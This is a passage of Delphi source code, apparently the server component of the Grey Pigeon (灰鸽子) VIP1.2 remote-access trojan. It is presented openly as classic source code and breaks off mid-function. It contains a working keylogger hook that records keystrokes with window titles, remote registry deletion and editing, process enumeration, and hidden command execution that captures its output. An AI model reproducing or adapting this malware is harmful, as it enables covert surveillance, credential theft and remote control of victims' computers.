mainserver.pas

灰鸽子VIP1.2经典源代码

function HostToIP(Name: string; var Ip: string): Boolean;
var
  wsdata : TWSAData;
  hostName : array [0..255] of char;
  hostEnt : PHostEnt;
  addr : PChar;
begin
  WSAStartup ($0101, wsdata);
  try
    gethostname (hostName, sizeof (hostName));
    StrPCopy(hostName, Name);
    hostEnt := gethostbyname (hostName);
    if Assigned (hostEnt) then
      if Assigned (hostEnt^.h_addr_list) then begin
        addr := hostEnt^.h_addr_list^;
        if Assigned (addr) then begin
          IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
          byte (addr [1]), byte (addr [2]), byte (addr [3])]);
          Result := True;
        end
        else
          Result := False;
      end
      else
        Result := False
    else begin
      Result := False;
    end;
  finally
    WSACleanup;
  end
end;

procedure AdjustToken();
var
   currToken:THandle;
   prevState,newState:TTokenPrivileges;
   prevStateLen:DWORD;
   uid:TLargeInteger;
begin
    OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, currToken);
    LookupPrivilegeValue(nil, 'SeShutdownPrivilege',uid);
    newState.PrivilegeCount:=1;
    newState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    newState.Privileges[0].Luid := uid;
    windows.AdjustTokenPrivileges(currToken, False, newState, sizeof(TTokenPrivileges),prevState, prevStateLen);
end;

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
  ch: Char;
  vKey: Integer;
  FocusWnd: HWND;
  Title: array[0..255] of Char;
  str: array[0..12] of Char;
  TempStr, Time: string;
  LogFile: TextFile;
  PEvt: ^EVENTMSG;
  iCapital, iNumLock, iShift: Integer;
  bShift, bCapital, bNumLock: Boolean;
begin
  if iCode < 0 then
  begin
    Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
    exit;
  end;
  if (iCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    
    FocusWnd := GetActiveWindow;
    if LastFocusWnd <> FocusWnd then
    begin
      if hookkey<>'' then
        begin
          HookList.Add(hookkey);
          hookkey :='';
        end;
      HookList.Add('---------End----------');
      HookList.Add('--------begin---------');
      GetWindowText(FocusWnd, Title, 256);
      LastFocusWnd := FocusWnd;
      Time := DateTimeToStr(Now);
      HookList.Add(Time + Format('Title:%s', [Title]));
    end;

    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);

      //HookList.Add('这是vKey:'+inttostr(vKey));

      if ((vKey >= 48) and (vKey <= 57)) then
        begin
          if not bShift then
            begin
              ch := Char(vKey);
            end else begin
              case vKey of
                48: ch := ')';
                49: ch := '!';
                50: ch := '@';
                51: ch := '#';
                52: ch := '$';
                53: ch := '%';
                54: ch := '^';
                55: ch := '&';
                56: ch := '*';
                57: ch := '(';
              end;
           end;
         hookkey:=hookkey+ch;
       end;
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);
        end;
        hookkey:=hookkey+ch;
      end;
      if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
        if bNumLock then
        hookkey:=hookkey+Char(vKey - 96 + 48);
      ch:='n';
      if (VKey > 105) and (VKey <= 111) then
      begin
        case vKey of
          106: ch := '*';
          107: ch := '+';
          109: ch := '-';
          111: ch := '/';
        else
          ch := 'n';
        end;
      end;
      if (vKey >= 186) and (vKey <= 222) then // 其他键
      begin
        case vKey of
          186: if not bShift then ch := ';' else ch := ':';
          187: if not bShift then ch := '=' else ch := '+';
          188: if not bShift then ch := ',' else ch := '<';
          189: if not bShift then ch := '-' else ch := '_';
          190: if not bShift then ch := '.' else ch := '>';
          191: if not bShift then ch := '/' else ch := '?';
          192: if not bShift then ch := '`' else ch := '~';
          219: if not bShift then ch := '[' else ch := '{';
          220: if not bShift then ch := '\' else ch := '|';
          221: if not bShift then ch := ']' else ch := '}';
          222: if not bShift then ch := Char(27) else ch := '"';
        else
          ch := 'n';
        end;
      end;
      if ch <> 'n' then
      hookkey:=hookkey+ ch;

      // if (wParam >=112 && wParam<=123) // 功能键   [F1]-[F12]
      if (vKey >= 8) and (vKey <= 46) then //方向键
      begin
        ch := ' ';
        case vKey of
          8: str := '[退格]';
          9: str := '[TAB]';
          13: str := '[Enter]';
          32: str := '[空格]';
          33: str := '[PageUp]';
          34: str := '[PageDown]';
          35: str := '[End]';
          36: str := '[Home]';
          37: str := '[LF]';
          38: str := '[UF]';
          39: str := '[RF]';
          40: str := '[DF]';
          45: str := '[Insert]';
          46: str := '[Delete]';
        else
          ch := 'n';
        end;
        if ch <> 'n' then
        begin
          //if PrvChar<>Char(vKey) then
          //begin
            hookkey :=hookkey+str;
          // PrvChar := Char(vKey);
          //end;
        end;
      end;
   end ;
{     else
      if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
      begin
        if hookkey<>'' then
          begin
            HookList.add(Hookkey);
            hookkey:='';
          end;
        if pEvt.message = WM_LBUTTONDOWN then
          TempStr := '鼠标左键: '
        else
          TempStr := '鼠标右键: ';
        HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
      end;
    //CloseFile(LogFile);  }
  end;
  Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;

function RandomStr(aLength : Longint) : String;
var
  X : Longint;
begin
  if aLength <= 0 then exit;
  SetLength(Result, aLength);
  for X:=1 to aLength do
    Result[X] :=Chr(Random(26) + 65);
end;

function RandomFilename(aFilename : String) : String;
var
  Path,Filename,Ext: String;
begin
  Result := aFilename;
  Path := ExtractFilepath(aFilename);
  Ext := ExtractFileExt(aFilename);
  Filename := ExtractFilename(aFilename);
  if Length(Ext) > 0 then
    Filename := Copy(Filename,1,Length(Filename)-Length(Ext));
  repeat
    Result := Path +Filename+RandomStr(2)+ Ext;
  until not FileExists(Result);
end;

procedure MakeDir(Dir: String);
  function Last(What: String; Where: String): Integer;
  var
    Ind : Integer;
  begin
    Result := 0;
    for Ind := (Length(Where)-Length(What)+1) downto 1 do
        if Copy(Where, Ind, Length(What)) = What then begin
           Result := Ind;
           Break;
        end;
  end;
 var
  PrevDir : String;
  Ind     : Integer;
 begin
  if Copy(Dir,2,1) <> ':' then
     if Copy(Dir,3,1) <> '\' then
        if Copy(Dir,1,1) = '\' then
           Dir := 'C:'+Dir
        else
           Dir := 'C:\'+Dir
     else
        Dir := 'C:'+Dir;  if not DirectoryExists(Dir) then begin
     Ind     := Last('\', Dir);
     PrevDir := Copy(Dir, 1, Ind-1);
     if not DirectoryExists(PrevDir) then
        MakeDir(PrevDir);
     CreateDir(Dir);
  end;
 end;


function TH_GZVIP2004.Savenowtask:String;
var  
    isOK:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;
    TheList:Tstringlist;
    i:integer;
begin
     TheList:=Tstringlist.Create;
     ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
     processStruct.dwSize:=sizeof(ProcessStruct);
     isOK:=process32first(ProcessHandle,ProcessStruct);
     for i:=0 to 100 do ThreadID[i]:=0;
     ThreadID[0]:=ProcessStruct.th32ProcessID;
     i:=0;
     while isOK do
     begin
	 TheList.Add(ProcessStruct.szExeFile);//进程名-------------------1
         if isNt then
         begin
	   TheList.Add(IntToStr(ProcessStruct.th32ProcessID));//进程ID-----2
	   TheList.Add(IntToStr(ProcessStruct.cntThreads));//线程数--------3
	   TheList.Add(IntToStr(ProcessStruct.pcPriClassBase));//优先级-4
	   TheList.Add(IntToStr(ProcessStruct.th32ParentProcessID));//父进程ID-5
         end else
         begin
	   TheList.Add(IntTostr(ProcessStruct.th32ProcessID));//进程ID-----2
	   TheList.Add('0');//线程数--------3
	   TheList.Add('0');//优先级-4
	   TheList.Add('0');//父进程ID-5
         end;
	 isOK:=process32next(ProcessHandle,ProcessStruct);
         inc(i);
         ThreadID[i]:=ProcessStruct.th32ProcessID;
     end;
     Result:=TheList.text;
     CloseHandle(ProcessHandle);
     TheList.Free;
end;

procedure TH_GZVIP2004.Deleteregvalue(var StrTmpList:TStringList);  {删除键值}
var
myreg:TRegistry;
RKey:String;
Rpath : String;
Rname : String;
Temp:String;
i:integer;
begin
try
  RKey:=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
except
Exit;
end;
  myreg:=TRegistry.Create;
  try
    if RKey = 'HKEY_CLASSES_ROOT' then myreg.RootKey := HKEY_CLASSES_ROOT;
    if RKey = 'HKEY_CURRENT_USER' then myreg.RootKey := HKEY_CURRENT_USER;
    if RKey = 'HKEY_LOCAL_MACHINE' then myreg.RootKey := HKEY_LOCAL_MACHINE;
    if RKey = 'HKEY_USERS' then myreg.RootKey := HKEY_USERS;
    if RKey = 'HKEY_CURRENT_CONFIG' then myreg.RootKey := HKEY_CURRENT_CONFIG;
    if RKey = 'HKEY_DYN_DATA' then myreg.RootKey := HKEY_DYN_DATA;

    if myreg.OpenKey(rpath,False) then
       begin
         myreg.DeleteValue(rname);
       end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

function TH_GZVIP2004.GetDosOutput(Command: string): string;
var
  hReadPipe : THandle;
  hWritePipe : THandle;
  SI : TStartUpInfo;
  PI : TProcessInformation;
  SA : TSecurityAttributes;
  BytesRead : DWORD;
  Dest : array[0..32767] of char;
  CmdLine : array[0..512] of char;
  Avail, ExitCode, wrResult : DWORD;
  osVer : TOSVERSIONINFO;
  tmpstr :AnsiString;
  Line: String;
begin
  osVer.dwOSVersionInfoSize := Sizeof(TOSVERSIONINFO);
  GetVersionEX(osVer);
  if osVer.dwPlatformId = VER_PLATFORM_WIN32_NT then
  begin
    SA.nLength := SizeOf(SA);
    SA.lpSecurityDescriptor := nil;
    SA.bInheritHandle := True;
    CreatePipe(hReadPipe, hWritePipe, @SA, 0);
  end
  else
    CreatePipe(hReadPipe, hWritePipe, nil, 1024);
  try
    FillChar(SI, SizeOf(SI), 0);
    SI.cb := SizeOf(TStartUpInfo);
    SI.wShowWindow := SW_HIDE;
    SI.dwFlags := STARTF_USESHOWWINDOW;
    SI.dwFlags := SI.dwFlags or STARTF_USESTDHANDLES;
    SI.hStdOutput := hWritePipe;
    SI.hStdError := hWritePipe;
    StrPCopy(CmdLine, Command);
    if CreateProcess(nil, CmdLine, nil, nil, True, NORMAL_PRIORITY_CLASS, nil, nil, SI, PI) then
    begin
       ExitCode := 0;
       while ExitCode = 0 do
       begin
          wrResult := WaitForSingleObject(PI.hProcess, 1000);
          if PeekNamedPipe(hReadPipe, @Dest[0], 32768,  @Avail, nil, nil) then
          begin
             if Avail > 0 then
             begin
               try
                 FillChar(Dest, SizeOf(Dest), 0);
                 ReadFile(hReadPipe, Dest[0], Avail, BytesRead, nil);
                 TmpStr := Copy(Dest,0 , BytesRead-1);
                 Line:=Line+TmpStr;  
               Except
               end;
             end;
          end;
            if wrResult <> WAIT_TIMEOUT then ExitCode := 1;
       end;
       GetExitCodeProcess(PI.hProcess, ExitCode);
       CloseHandle(PI.hProcess);
       CloseHandle(PI.hThread);
     end;
     finally
       if line='' then line:='NULL';    //命令没有输出回应!
       result:=Line;
       CloseHandle(hReadPipe);
       CloseHandle(hWritePipe);
   end;
end;

{修改注册表键名/值}
procedure TH_GZVIP2004.Editregvalue(var StrTmpList:TStringList);  {类型}
var
myreg:Tregistry;
loop:integer;
s_line:integer;
buf_write:array [1..64] of int64;
i:integer;
RKey  : String;{主键}
Rpath : String;{键路径}
Rname : String;{键名}
Rvalue: String;{键值}
rtype: integer;{类型}
begin

try

  RKey :=StrTmpList[2];
  Rpath:=StrTmpList[3];
  Rname:=StrTmpList[4];
  //if Rname='(默认)' then Rname:='';
  Rvalue:=StrTmpList[5];
  Rtype:=strtoint(StrTmpList[6]);

except
Exit;
end;    
         
  myreg:=TRegistry.Create;
  try